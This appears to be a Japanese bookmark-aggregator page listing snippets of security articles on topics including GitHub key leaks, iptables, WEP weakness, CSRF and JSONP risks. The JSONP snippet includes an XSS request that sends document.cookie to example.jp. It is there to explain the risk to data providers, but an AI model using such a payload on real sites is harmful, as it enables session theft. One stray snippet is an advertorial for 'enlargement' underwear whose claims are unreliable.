第14回北海道情報セキュリティ勉強会 - 北海道情報セキュリティ勉強会
今回の勉強会は、ネットエージェント株式会社の松田和樹さん(@eagle0wl)とシマンテック サイバーセキュリティチャレンジ 2012 で優秀賞を獲得した北海道札幌国際情報高校の「もやしーず」(http://moyashies.com/)からお話をしていただきます。 初めに、情報セキュリティの一端を担う人材育成の一環として、安全なプログラミングの基本となる脆弱性を学ぶことをテーマに、昨年株式会社シマンテックが開催した『シマンテック サイバーセキュリティチャレンジ』の体験談をパネルディスカッションで松田和樹さんと「もやしーず」に語っていただきます。引き続いて松田和樹さんからは、『オンラインゲームにおけるセキュアコーディングのススメ』というタイトルでビデオゲームにおけるざっくりとしたチートの歴史から、チート行為の事例や実践方法、人はなぜチート行為に及ぶのか、クライアントプログラムの暗号化・難読
GitHubで多くのユーザーが秘密鍵を公開状態にしていたことが判明 | スラド オープンソース
GitHubでは23日から新しいコード検索機能が利用できるようになったが、これにより多くのユーザーが秘密鍵やパスワードの格納されたファイルを誤って公開状態にしていることが明らかになったとのこと(The GitHub Blogの記事、 HotHardwareの記事、 SC Magazineの記事、 本家/.)。 ソースコードと秘密鍵などを同じ場所に保存し、そのままGitHubにアップロードしてしまうユーザーも多くいるようで、新しい検索機能でヒットするようになったことから表面化したものとみられる。 この話題はTwitterで広まり、Google Chromeのソースコードリポジトリにアクセスするための認証情報とされるものを含め、数多くの検索リンクが投稿された。その後、検索機能が一時的に使用できなくなり、被害の拡大を防ぐためではないかと推測されていたが、GitHubでは今回の件とは無関係だとして
あなたのLinuxマシンをセキュアにするために知っておくべきiptablesのルール10選
文：Jack Wallen（Special to TechRepublic） 翻訳校正：村上雅章・野崎裕子 2009-03-03 08:00 iptablesをマスターするには時間がかかるものの、セキュリティに関する基本的なニーズを満たすことのできるいくつかのルールを知っておくだけで、あなたのLinuxシステムのセキュリティを向上させることができる。本記事では、その手始めとなる重要なルールを解説する。 iptablesは、Linuxマシンをセキュアにするための強力なツールだ。とは言うものの、その機能の多さには圧倒されてしまいがちである。そして、コマンドの構造をしっかりと理解し、マシンのどの部分をどのようにセキュアにすべきかを把握した後であっても、ややこしいことに変わりはない。しかし、iptablesの良いところは、極めて広いその適用範囲にある。このため、iptablesのルールのいくつかを
Linuxカーネル2.6系にroot権限を奪われる脆弱性が発見される | スラド Linux
Linuxカーネル2.6.17が公開されたのが、まぁぐぐると一瞬で分かるのですが 昨年……じゃないや一昨年の2006年6月17日ですね。(いまだに2007年脳) 2.6.24.1は今年の2月8日(ってまだ3日前か)にリリースされた最新版。 で、The Linux Kernel Archives [kernel.org]を見ると2.6.25 RC版が出ている模様。 参考:2.6.25 RC版のChangelog [kernel.org] これには本件の修正も含まれているようです。 以下にChangelogから該当部分と思われる部分を、メールアドレス等の行は削除して引用。 >commit 8811930dc74a503415b35c4a79d14fb0b408a361 >Date: Fri Feb 8 08:49:14 2008 -0800 > > splice: missing user p
利用率7割のWEPは「1分」で破られる：ITpro
職場，自宅を問わず根付きつつある無線LAN。ただ，そのセキュリティに関しては，ユーザーの意識は意外に高くない。今回では，最も広くユーザーに利用されている無線LANの暗号化技術がどの程度弱いものかを確認しつつ，より安全な無線LANの使い方を改めて解説しよう。 IEEE 802.11a/b/gの無線LANには3種類のセキュリティ規格がある。WEP（wired equivalent privacy），WPA（Wi-Fi protected access），WPA2である。データを暗号化することで盗聴から保護し，有線メディアと同等のセキュリティを確保することが目的である。 ただ，2007年末に都内某所で調べたところ，受信できる無線LANの電波のうち，暗号化されていないものが16%，WEPでの暗号化が69%存在し，いまだにWEPが広く使われていることを再認識することになった。WPA/WPA2という最
産総研：サイバー攻撃から大規模ネットワークを防御するシステムの実現
発表・掲載日：2007/02/20 サイバー攻撃から大規模ネットワークを防御するシステムの実現 －侵入検知ルールの変更に素早く対応でき、百ギガbpsにも拡張可能－ ポイント 1200種類の侵入・攻撃の検知ルールを10ギガbpsで連続処理するネットワーク侵入防御装置を開発 試験用の侵入・攻撃パターンを送出し、システムの脆弱性を検査できる模擬攻撃装置を開発 自動的な防御と漏れのない検知により、大規模ネットワークシステムの安全性が大幅に向上 独立行政法人 産業技術総合研究所【理事長 吉川 弘之】（以下「産総研」という）情報技術研究部門【部門長 坂上 勝彦】実時間組込システム研究班の戸田 賢二 班長と片下 敏宏 特別研究員および国立大学法人 筑波大学【学長 岩崎 洋一】システム情報工学研究科【研究科長 熊谷 良雄】コンピュータサイエンス専攻の山口 喜教 教授と前田 敦司 助教授は、共同で10ギガb
Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
5分で絶対に分かるVPN (1/6)：5分で絶対に分かる - ＠IT
VPN（Virtual Private Network）とはいったい何だ 外出先などからインターネット経由で安全に社内へアクセスしたり、特定のビジネスパートナーに対して安全に情報を提供したりするニーズが高まっている。以前は、このようなニーズに対しては専用線か、Webベースでの暗号化接続を提供するSSL（Secure Sockets Layer）、メールの暗号化という方法が主に用いられた。 しかし、サービスが多様化するにつれて、利用するアプリケーションを意識することなく通信を暗号化したいというニーズが高まってきた。そうした要求に対して最も有効なソリューションが、「Virtual Private Network（VPN）」だ。 では、VPNのイメージを解説しよう。
アグメントパンツの口コミに注意？嘘の口コミを見抜いて効果を得るためのポイントを教えます!!
「アソコが小さすぎて見えなーい！！！！」 銭湯に行った時に、僕のアソコを見て親友が言い放った一言です。 某拡大メガネのCMをもじって言ったんですが、うまいこと言ってるので尚更ムカつきました(笑) アソコが小さいのが昔からコンプレックスだったんです。 その親友に悩みを打ち明けたら、教えてくれたのが【アグメントパンツ】という増大パンツです。 「増大パンツ？！履くだけでアソコが大きくなる？！」 「増大サプリでさえ信用出来ないのに、パンツで大きくなるなんて上手い話ないでしょ？！」 と思ってたんですが、親友はアグメントパンツで大きくなったらしい。 確かにデカかった。 正直羨ましかった。 なんでパンツで大きくなるの？！ イマイチ信用ならないので、アグメントパンツについていろいろ調べてみました。 ※調べていたら欲しくなったので購入しました。履いた感想は後半に追記しています。 アグメントパンツを履いた人の
アンチウイルスソフトウェアランキング、最強はどれ？
ウイルスなどからパソコンを守ってくれるアンチウイルスソフトウェア。気になるのは実際のところどれぐらい防御してくれるのか？ということ。 というわけで、14万7184種類のウイルスを用意し、各社のアンチウイルスソフトウェアの設定をデフォルトではなく、機能の許す限り「最高」の防御レベルにまで引き上げた上で実験した結果です。果たしてどのアンチウイルスソフトウェアが1位なのでしょうか…？ なお、有名どころだと、マカフィーは13位、ノートンは22位、ウイルスバスターは海外ではPC-Cillinという名前で27位です。 Antivirus programs and protection guide, virus info, antivirus tests, Free Antivirus Tools! ベスト10は以下の通り。 1位. Kaspersky version 6.0.0.303 - 99.62
Expired
Expired：掲載期限切れです この記事は，Associated Press との契約の掲載期限（30日間）を過ぎましたので本サーバから削除しました。 このページは20秒後にEnterprise トップページに自動的に切り替わります。
診断した5割のWebサイトで不正アクセス可能、NRIセキュア － ＠IT
2006/7/27 NRIセキュアテクノロジーズ（NRIセキュア）は7月26日、同社が2005年度に実施したWebサイトセキュリティ診断で、5割のWebサイトに重要情報が漏えいする可能性のある欠陥が見つかったことを発表した。 同社は顧客の依頼に基づき、実際に攻撃を仕掛けてセキュリティ上の問題を明らかにする「セキュリティ診断」サービスを提供している。2005年度（2005年4月から2006年3月末まで）に同サービスのうち「Webアプリケーション診断」を受けた56社のWebサイト167件について集計したところ、今回の結果が判明した。 診断対象のWebサイトのうち50％で、個人情報、口座情報、注文履歴など、特定ユーザーのみに閲覧が許されるべき重要情報を実際に取得することができたという。情報漏えいにつながる可能性がある欠陥が見つかったWebサイトも29％に達し、安全性が確認できたのは21％に過ぎな
ClamXav
Introduction ClamXav is a free virus checker for Mac OS X. It uses the tried, tested and very popular ClamAV open source antivirus engine as a back end. Back in the days before OS X, the number of viruses which attacked Macintosh users totalled somewhere between about 60 and 80. Today, the number of viruses actively attacking OS X users is...NONE! However, this doesn't mean we should get complacen
IP認証によるアクセス制限のテクニック
Apacheでできるセキュリティ対策 Webサーバのセキュリティには、大別して2つのアプローチがある。1つは、ファイルシステムに対する不正な書き込みやサーバ上での不正なプログラム実行の防御。もう1つは、ファイルの不正な読み込み操作や送受信する内容の盗聴の防御である。 コラム WebサーバはWebサーバに徹するべし Apache以外の領域の話になるが、「WebサーバはWebサーバに徹するべし」といいたい。WebサーバとMailサーバを兼ねさせるだけでも危険を助長しているのに、ファイルサーバやクライアントとして利用するなどもってのほかである。そうした“兼務”はセキュリティを弱体化させ、不正なアクセスを試みるすきを与える。 可能なら、コンテンツやサーバの管理もリモートアクセスではなく直接コンソールを使うべきとさえ考える。 前者については、サーバ上の不要なプログラムの停止やファイアウォールの構築な
自社のセキュリティ対策を他社と比較する
自社の情報セキュリティ対策が、他社と比較してどのようなレベルにあるのかを確認することは、自社の対策を客観的に評価する手法の1つとして有益である。これをどのように行うことができるかを紹介する 自社のリスク分析・評価手法に基づいて、経営者が許容できる残留リスクレベルの意思決定を行い、情報セキュリティ対策のレベルを主体的に定めることを、前回の「情報セキュリティ対策レベルの決め方」で紹介した。その中で、他社のセキュリティレベルとの相対比較による確認を行う手段として「情報セキュリティ対策ベンチマーク」が有効であることに触れた。 今回は、このベンチマークの活用法について具体的に解説しよう。 情報セキュリティ対策を他社と比較する目的 最初に、情報セキュリティ対策を他社と比較することの目的を整理しておこう。 第1の目的は、他社と比較して自社の位置を確認することであり、自社の取り組みが妥当であるかどうかの目
5分で絶対に分かる非接触ICカード － ＠IT
岡田 大助 ＠IT編集部 2006年5月18日 ■身近になった非接触型ICカードとは ICチップを搭載するICカードの普及には目を見張るものがあります。磁気ストライプカードに比べて高いセキュリティを確保できることからキャッシュカードやクレジットカードが接触型ICカードへと移行しました。 非接触型ICカードの登場は、ICカードの対象領域を拡大しました。いまでは、社員証や学生証などに代表される身分証明書として、あるいは便利なプリペイドカード（交通分野や決済分野）などで幅広く利用されています。 非接触型ICカードは、通信距離に応じて「密着型（Close coupled）」「近接型（Proximity）」「近傍型（Vicinity）」「遠隔型」に分類できます。このうち、最も使われているのは近接型です（本稿は近接型を中心に取り上げていきます）。なお、遠隔型以外の非接触型ICカードはISO/IECで標
@IT: 「ぼくはまちちゃん」 ――知られざるCSRF攻撃
ある日、大手SNS（Social Networking Site）のmixiの日記にこのような書き込みがあった。それも1人だけでなく、同日に数多くのユーザーの日記に同じ文面が掲載されていた。 これは、単にこのような文章がはやり、ユーザー自身が意図して掲載したのではなく、ある仕掛けによってユーザー自身が気付かないうちに引き起こされた現象なのである。その仕掛けとは、CSRF（Cross-Site Request Forgeries）と呼ばれる攻撃手法の一種だ。 編集部注： 現在、「はまちちゃん」トラップは、mixi運営者により対策されています。上記のサンプルは、mixi風に再構成したものです。 本稿の内容を検証する場合は、必ず影響を及ぼさない限られた環境下で行って下さい。また、本稿を利用した行為による問題に関しましては、筆者およびアイティメディア株式会社は一切責任を負いかねます。ご了承ください
.NETエンタープライズWebアプリケーション開発技術大全 Sessionオブジェクト（1/7） - ＠IT
ViewStateオブジェクトによるデータ保存は、ポストバックにおいてセキュリティを要求されない簡易なデータを保存するのに適している。これに対して、画面遷移にまたがってデータを保存したい場合や、セキュリティを要求されるデータを保存したい場合には、Sessionオブジェクトを利用する。 Sessionオブジェクトを利用した場合、クライアントへは120ビット長のセッションIDがメモリ常駐型クッキーとして発行される。クライアントからのリクエストはこのセッションクッキーにより一意に識別され、サーバ内のセッション状態データと紐付けされることになる（図1）。 ViewStateオブジェクトと同様、Sessionオブジェクトへの格納・取り出しのコーディングそのものは非常に容易であるが、実際の利用時には考慮しなければならない点が多数ある。これらについて順番に解説する。 Sessionオブジェクトに格納可能
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
知っていますか？脆弱性 （ぜいじゃくせい）：IPA 独立行政法人 情報処理推進機構
ソースネクスト・スタイル・セキュリティ